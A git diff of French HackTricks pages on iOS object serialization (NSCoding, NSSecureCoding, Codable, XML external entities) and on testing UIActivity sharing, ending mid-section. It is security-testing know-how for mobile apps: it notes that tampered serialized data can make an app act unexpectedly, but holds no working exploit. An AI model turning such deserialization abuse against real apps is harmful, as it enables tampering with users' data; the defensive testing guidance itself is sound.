<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,59 +17,61 @@
|
|||
|
||||
### NSCoding et NSSecureCoding
|
||||
|
||||
iOS est livré avec deux protocoles pour la **sérialisation** d'objets pour Objective-C ou les `NSObject`s : **`NSCoding`** et **`NSSecureCoding`**. Lorsqu'une **classe est conforme** à l'un ou l'autre des protocoles, les données sont sérialisées en **`NSData`** : un wrapper pour les **tampons de bytes**. Notez que `Data` en Swift est identique à `NSData` ou à son homologue mutable : `NSMutableData`. Le protocole `NSCoding` déclare les deux méthodes qui doivent être implémentées pour coder/décoder ses variables d'instance. **Une classe utilisant `NSCoding` doit implémenter `NSObject` ou être annotée comme une classe @objc**. Le protocole `NSCoding` nécessite de mettre en œuvre l'encodage et l'initialisation comme indiqué ci-dessous.
|
||||
iOS est équipé de deux protocoles pour la **sérialisation** d'objets pour Objective-C ou `NSObject`s : **`NSCoding`** et **`NSSecureCoding`**. Lorsqu'une **classe se conforme** à l'un de ces protocoles, les données sont sérialisées en **`NSData`** : un wrapper pour les **buffers d'octets**. Notez que `Data` en Swift est identique à `NSData` ou à son équivalent modifiable : `NSMutableData`. Le protocole `NSCoding` déclare les deux méthodes qui doivent être implémentées pour encoder/décoder ses variables d'instance. **Une classe utilisant `NSCoding` doit implémenter `NSObject` ou être annotée comme une classe @objc**. Le protocole `NSCoding` exige de mettre en œuvre encode et init comme indiqué ci-dessous.
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
|
||||
//required by NSCoding:
|
||||
func encode(with aCoder: NSCoder) {
|
||||
aCoder.encode(x, forKey: "x")
|
||||
aCoder.encode(name, forKey: "name")
|
||||
}
|
||||
//required by NSCoding:
|
||||
func encode(with aCoder: NSCoder) {
|
||||
aCoder.encode(x, forKey: "x")
|
||||
aCoder.encode(name, forKey: "name")
|
||||
}
|
||||
|
||||
var x: Double = 0.0
|
||||
var name: String = ""
|
||||
var x: Double = 0.0
|
||||
var name: String = ""
|
||||
|
||||
init(x: Double, name: String) {
|
||||
self.x = x
|
||||
self.name = name
|
||||
}
|
||||
init(x: Double, name: String) {
|
||||
self.x = x
|
||||
self.name = name
|
||||
}
|
||||
|
||||
// required by NSCoding: initialize members using a decoder.
|
||||
required convenience init?(coder aDecoder: NSCoder) {
|
||||
guard let name = aDecoder.decodeObject(forKey: "name") as? String
|
||||
else {return nil}
|
||||
self.init(x:aDecoder.decodeDouble(forKey:"x"),
|
||||
name:name)
|
||||
}
|
||||
// required by NSCoding: initialize members using a decoder.
|
||||
required convenience init?(coder aDecoder: NSCoder) {
|
||||
guard let name = aDecoder.decodeObject(forKey: "name") as? String
|
||||
else {return nil}
|
||||
self.init(x:aDecoder.decodeDouble(forKey:"x"),
|
||||
name:name)
|
||||
}
|
||||
|
||||
//getters/setters/etc.
|
||||
//getters/setters/etc.
|
||||
}
|
||||
```
|
||||
Le problème avec `NSCoding` est que l'objet est souvent déjà construit et inséré avant que vous puissiez évaluer le type de classe. Cela permet à un attaquant d'injecter facilement toutes sortes de données. Par conséquent, le protocole `NSSecureCoding` a été introduit. Lorsque vous vous conformez à [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding), vous devez inclure:
|
||||
Le problème avec `NSCoding` est que l'objet est souvent déjà **construit et inséré avant que vous puissiez évaluer** le type de classe. Cela **permet à un attaquant d'injecter facilement toutes sortes de données**. Par conséquent, le protocole **`NSSecureCoding`** a été introduit. Lorsque vous vous conformez à [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding), vous devez inclure :
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
return true
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
lorsque `init(coder:)` fait partie de la classe. Ensuite, lors du décodage de l'objet, une vérification doit être effectuée, par exemple :
|
||||
```
|
||||
```swift
|
||||
let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey")
|
||||
```
|
||||
La conformité à `NSSecureCoding` garantit que les objets instanciés sont bien ceux qui étaient attendus. Cependant, **aucune vérification d'intégrité supplémentaire** n'est effectuée sur les données et les données ne sont pas chiffrées. Par conséquent, toute donnée secrète nécessite un **chiffrement** supplémentaire et les données dont l'intégrité doit être protégée doivent recevoir un HMAC supplémentaire.
|
||||
La conformité à `NSSecureCoding` garantit que les objets instanciés sont bien ceux qui étaient attendus. Cependant, **aucun contrôle d'intégrité supplémentaire n'est effectué** sur les données et celles-ci ne sont pas chiffrées. Par conséquent, toute donnée secrète nécessite un **chiffrement** supplémentaire et les données dont l'intégrité doit être protégée doivent recevoir un HMAC additionnel.
|
||||
|
||||
### Archivage d'objets avec NSKeyedArchiver
|
||||
|
||||
`NSKeyedArchiver` est une sous-classe concrète de `NSCoder` et permet de coder des objets et de les stocker dans un fichier. `NSKeyedUnarchiver` décode les données et recrée les données d'origine. Prenons l'exemple de la section `NSCoding` et archivons-les maintenant pour les désarchiver ensuite :
|
||||
`NSKeyedArchiver` est une sous-classe concrète de `NSCoder` et offre un moyen de coder des objets et de les stocker dans un fichier. `NSKeyedUnarchiver` décode les données et recrée les données originales. Prenons l'exemple de la section `NSCoding` et archivons puis désarchivons-les :
|
||||
```swift
|
||||
// archiving:
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
|
||||
// unarchiving:
|
||||
guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as?
|
||||
CustomPoint else { return nil }
|
||||
CustomPoint else { return nil }
|
||||
```
|
||||
Vous pouvez également enregistrer les informations dans le plist principal `NSUserDefaults`:
|
||||
Vous pouvez également enregistrer les informations dans le plist principal `NSUserDefaults` :
|
||||
```swift
|
||||
// archiving:
|
||||
let data = NSKeyedArchiver.archivedDataWithRootObject(customPoint)
|
||||
|
@ -79,45 +79,45 @@ NSUserDefaults.standardUserDefaults().setObject(data, forKey: "customPoint")
|
|||
|
||||
// unarchiving:
|
||||
if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") as? NSData {
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
|
||||
}
|
||||
```
|
||||
### Codable
|
||||
|
||||
Il s'agit d'une combinaison des protocoles `Decodable` et `Encodable`. Une `String`, `Int`, `Double`, `Date`, `Data` et `URL` sont `Codable` par nature: cela signifie qu'elles peuvent facilement être encodées et décodées sans aucun travail supplémentaire. Prenons l'exemple suivant:
|
||||
C'est une combinaison des protocoles `Decodable` et `Encodable`. Un `String`, `Int`, `Double`, `Date`, `Data` et `URL` sont naturellement `Codable` : cela signifie qu'ils peuvent être facilement encodés et décodés sans travail supplémentaire. Prenons l'exemple suivant :
|
||||
```swift
|
||||
struct CustomPointStruct:Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
En ajoutant `Codable` à la liste d'héritage pour `CustomPointStruct` dans l'exemple, les méthodes `init(from:)` et `encode(to:)` sont automatiquement prises en charge. Pour plus de détails sur le fonctionnement de `Codable`, consultez [la documentation du développeur Apple](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types).
|
||||
En ajoutant `Codable` à la liste d'héritage pour le `CustomPointStruct` dans l'exemple, les méthodes `init(from:)` et `encode(to:)` sont automatiquement prises en charge. Pour plus de détails sur le fonctionnement de `Codable`, consultez [la documentation pour développeurs d'Apple](https://developer.apple.com/documentation/foundation/archives_and_serialization/encoding_and_decoding_custom_types).
|
||||
|
||||
Vous pouvez également utiliser `Codable` pour enregistrer les données dans la liste de propriétés primaires `NSUserDefaults`:
|
||||
Vous pouvez également utiliser codable pour enregistrer les données dans la liste de propriétés principale `NSUserDefaults` :
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
|
||||
var points: [CustomPointStruct] = [
|
||||
CustomPointStruct(point: 1, name: "test"),
|
||||
CustomPointStruct(point: 2, name: "test"),
|
||||
CustomPointStruct(point: 3, name: "test"),
|
||||
]
|
||||
var points: [CustomPointStruct] = [
|
||||
CustomPointStruct(point: 1, name: "test"),
|
||||
CustomPointStruct(point: 2, name: "test"),
|
||||
CustomPointStruct(point: 3, name: "test"),
|
||||
]
|
||||
|
||||
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
|
||||
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
|
||||
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
|
||||
}
|
||||
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
|
||||
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
|
||||
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
|
||||
}
|
||||
```
|
||||
### Encodage JSON
|
||||
|
||||
Il existe de nombreuses bibliothèques tierces pour encoder des données en JSON (comme exposé [ici](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). Cependant, Apple prend en charge l'encodage/décodage JSON directement en combinant `Codable` avec un `JSONEncoder` et un `JSONDecoder`:
|
||||
Il existe de nombreuses bibliothèques tierces pour encoder des données en JSON (comme exposé [ici](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). Cependant, Apple offre un support pour l'encodage/décodage JSON directement en combinant `Codable` avec un `JSONEncoder` et un `JSONDecoder` :
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
|
||||
let encoder = JSONEncoder()
|
||||
|
@ -134,15 +134,15 @@ let stringData = String(data: data, encoding: .utf8)
|
|||
```
|
||||
### XML
|
||||
|
||||
Il existe plusieurs façons de faire de l'encodage XML. Tout comme l'analyse JSON, il existe diverses bibliothèques tierces, telles que: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
|
||||
Il existe plusieurs façons de réaliser l'encodage XML. De manière similaire à l'analyse JSON, il existe diverses bibliothèques tierces, telles que : [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
|
||||
|
||||
Ils varient en termes de vitesse, d'utilisation de la mémoire, de persistance des objets et plus important encore: diffèrent dans la façon dont ils gèrent les entités externes XML. Voir [XXE dans le visualiseur de bureau Apple iOS](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) comme exemple. Par conséquent, il est essentiel de désactiver l'analyse des entités externes si possible. Voir la [feuille de triche de prévention XXE OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) pour plus de détails. En plus des bibliothèques, vous pouvez utiliser la classe [`XMLParser` d'Apple](https://developer.apple.com/documentation/foundation/xmlparser)
|
||||
Elles varient en termes de vitesse, d'utilisation de la mémoire, de persistance des objets et plus important : elles diffèrent dans la manière dont elles gèrent les entités externes XML. Voir [XXE dans le visualiseur de documents Office iOS d'Apple](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) comme exemple. Par conséquent, il est essentiel de désactiver l'analyse des entités externes si possible. Voir la [feuille de triche de prévention XXE de l'OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) pour plus de détails. À côté des bibliothèques, vous pouvez utiliser la classe [`XMLParser` d'Apple](https://developer.apple.com/documentation/foundation/xmlparser)
|
||||
|
||||
Lorsque vous n'utilisez pas de bibliothèques tierces, mais la `XMLParser` d'Apple, assurez-vous de laisser `shouldResolveExternalEntities` renvoyer `false`.
|
||||
Lorsque vous n'utilisez pas de bibliothèques tierces, mais `XMLParser` d'Apple, assurez-vous que `shouldResolveExternalEntities` retourne `false`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Toutes ces façons de sérialiser/encoder des données peuvent être **utilisées pour stocker des données dans le système de fichiers**. Dans ces scénarios, vérifiez si les données stockées contiennent des informations sensibles.\
|
||||
De plus, dans certains cas, vous pouvez **abuser de certaines données sérialisées** (en les capturant via MitM ou en les modifiant à l'intérieur du système de fichiers) en désérialisant des données arbitraires et **en faisant exécuter des actions inattendues à l'application** (voir la page de désérialisation). Dans ces cas, il est recommandé d'envoyer/enregistrer les données sérialisées chiffrées et signées.
|
||||
Toutes ces méthodes de sérialisation/encodage peuvent être **utilisées pour stocker des données dans le système de fichiers**. Dans ces scénarios, vérifiez si les données stockées contiennent des **informations sensibles**.\
|
||||
De plus, dans certains cas, vous pourriez être en mesure d'**abuser de certaines données sérialisées** (les capturant via MitM ou les modifiant dans le système de fichiers) en désérialisant des données arbitraires et **en faisant exécuter à l'application des actions inattendues** (voir [page de Désérialisation](../../pentesting-web/deserialization/)). Dans ces cas, il est recommandé d'envoyer/de sauvegarder les données sérialisées chiffrées et signées.
|
||||
{% endhint %}
|
||||
|
||||
## Références
|
||||
|
@ -153,16 +153,14 @@ De plus, dans certains cas, vous pouvez **abuser de certaines données sérialis
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,39 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Partage UIActivity
|
||||
|
||||
À partir d'iOS 6, il est possible pour les applications tierces de **partager des données (éléments)** via des mécanismes spécifiques [comme AirDrop, par exemple](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW3). Du point de vue de l'utilisateur, cette fonctionnalité est la feuille d'activité de partage système bien connue qui apparaît après avoir cliqué sur le bouton "Partager".
|
||||
À partir d'iOS 6, il est possible pour les applications tierces de **partager des données (éléments)** via des mécanismes spécifiques [comme AirDrop, par exemple](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Du point de vue de l'utilisateur, cette fonctionnalité est la bien connue _feuille d'activité de partage_ accessible après avoir cliqué sur le bouton "Partager".
|
||||
|
||||
Une liste complète des mécanismes de partage intégrés disponibles peut être trouvée dans [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Si elle n'est pas considérée comme appropriée pour l'application, les **développeurs ont la possibilité d'exclure certains de ces mécanismes de partage**.
|
||||
Une liste complète des mécanismes de partage intégrés disponibles peut être trouvée dans [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Si jugés inappropriés pour l'application, les **développeurs ont la possibilité d'exclure certains de ces mécanismes de partage**.
|
||||
|
||||
## **Envoi d'éléments**
|
||||
|
||||
Lors du test de partage `UIActivity`, vous devez prêter une attention particulière à :
|
||||
Lors du test du partage `UIActivity`, vous devriez porter une attention particulière à :
|
||||
|
||||
* les données (éléments) partagées,
|
||||
* les activités personnalisées,
|
||||
* les types d'activités exclus.
|
||||
|
||||
Le partage de données via `UIActivity` fonctionne en créant un `UIActivityViewController` et en lui passant les éléments souhaités (URL, texte, une image) sur [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init).
|
||||
Le partage de données via `UIActivity` fonctionne en créant un `UIActivityViewController` et en lui passant les éléments souhaités (URLs, texte, une image) sur [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init).
|
||||
|
||||
Si vous avez le code source, vous devriez jeter un coup d'œil au `UIActivityViewController` :
|
||||
Si vous avez le code source, vous devriez examiner le `UIActivityViewController` :
|
||||
|
||||
* Inspectez les activités passées à la méthode `init(activityItems:applicationActivities:)`.
|
||||
* Vérifiez s'il définit des activités personnalisées (également passées à la méthode précédente).
|
||||
* Vérifiez les `excludedActivityTypes`, s'il y en a.
|
||||
* Vérifiez les `excludedActivityTypes`, le cas échéant.
|
||||
|
||||
Si vous n'avez que l'application compilée/installée, essayez de rechercher la méthode et la propriété précédentes, par exemple :
|
||||
```bash
|
||||
|
@ -29,54 +44,52 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
|||
|
||||
Lors de la réception d'éléments, vous devez vérifier :
|
||||
|
||||
* si l'application **déclare des types de documents personnalisés** en regardant dans les **UTI exportés/importés** ("Info" onglet du projet Xcode). La liste de tous les UTI déclarés par le système peut être trouvée dans la [documentation archivée des développeurs Apple](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple\_ref/doc/uid/TP40009259).
|
||||
* si l'application spécifie des _**types de documents qu'elle peut ouvrir**_ en regardant dans les **Types de documents** ("Info" onglet du projet Xcode). S'ils sont présents, ils consistent en un nom et un ou plusieurs UTI qui représentent le type de données (par exemple, "public.png" pour les fichiers PNG). iOS utilise cela pour déterminer si l'application est éligible pour ouvrir un document donné (spécifier les UTI exportés/importés ne suffit pas).
|
||||
* si l'application vérifie correctement les données reçues en regardant dans la mise en œuvre de [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (ou sa version obsolète [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) dans le délégué de l'application.
|
||||
* si l'application **déclare des _types de documents personnalisés_** en consultant les **UTIs Exportés/Importés** (onglet "Info" du projet Xcode). La liste de tous les UTIs déclarés par le système (Uniform Type Identifiers) est disponible dans la [documentation archivée d'Apple Developer](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259).
|
||||
* si l'application spécifie des _types de documents qu'elle peut ouvrir_ en consultant les **Types de Documents** (onglet "Info" du projet Xcode). Si présents, ils se composent d'un nom et d'un ou plusieurs UTIs qui représentent le type de données (par exemple, "public.png" pour les fichiers PNG). iOS utilise cela pour déterminer si l'application est éligible pour ouvrir un document donné (spécifier des UTIs Exportés/Importés ne suffit pas).
|
||||
* si l'application _vérifie correctement les données reçues_ en examinant l'implémentation de [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (ou sa version obsolète [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) dans le délégué de l'application.
|
||||
|
||||
Si vous n'avez pas le code source, vous pouvez toujours regarder dans le fichier `Info.plist` et rechercher :
|
||||
Sans avoir le code source, vous pouvez toujours examiner le fichier `Info.plist` et rechercher :
|
||||
|
||||
* `UTExportedTypeDeclarations`/`UTImportedTypeDeclarations` si l'application déclare des types de documents personnalisés exportés/importés.
|
||||
* `CFBundleDocumentTypes` pour voir si l'application spécifie des types de documents qu'elle peut ouvrir.
|
||||
* `UTExportedTypeDeclarations`/`UTImportedTypeDeclarations` si l'application déclare des _types de documents personnalisés_ exportés/importés.
|
||||
* `CFBundleDocumentTypes` pour voir si l'application spécifie des _types de documents qu'elle peut ouvrir_.
|
||||
|
||||
Une explication très complète sur l'utilisation de ces clés peut être trouvée [sur Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), mais voici un résumé :
|
||||
Une explication très complète de l'utilisation de ces clés peut être trouvée [sur Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) mais voici un résumé :
|
||||
|
||||
* `UTExportedTypeDeclarations` : Utilisez-les pour définir **vos propres UTI** que votre application veut enseigner au système sur lequel elle est installée. Un **UTI décrit une pièce de données** (_pas nécessairement des données situées à l'intérieur d'un fichier !_) et nécessite au moins un **identificateur** (`com.example.MyCoolDataType`). De plus, il peut avoir un **nom** (`My Cool Data Type`), une ou plusieurs **extensions de nom de fichier** (`.myCoolDataType`), un ou plusieurs **types MIME** (`x-application/my-cool-data-type`), un ou plusieurs **types de presse-papiers** (utilisés lors du transfert de données de ce type en utilisant copier-coller), et un ou plusieurs **types de système d'exploitation hérités**. Habituellement, vous voulez également que les UTI se conforment aux UTI existants (par exemple, lorsque vous dites que votre UTI se conforme à `public.data`, tout processus qui peut traiter des données génériques peut également traiter votre UTI).
|
||||
* par exemple : Vous définissez votre propre format de données de fichier propriétaire et vous voulez que ce format de données soit également connu des autres applications, plugins, extensions, etc.
|
||||
* `UTImportedTypeDeclarations` : Vous utilisez `UTImportedTypeDeclarations` pour **enseigner au système des UTI que vous voulez qu'il connaisse dans le système mais qui ne sont pas vos UTI**.
|
||||
* par exemple : Votre application est capable de lire le format de données propriétaire d'une autre application, mais vous ne savez pas si cette application est même installée sur le système.
|
||||
* `CFBundleDocumentTypes` : Vous utilisez `CFBundleDocumentTypes` pour indiquer au système les types de documents que votre application est capable d'ouvrir. À moins que vous **ne listiez également vos UTI ici**, ces UTI ne sont pas associés à votre application dans Finder et votre application n'apparaîtra pas dans le menu `Ouvrir avec >`. \
|
||||
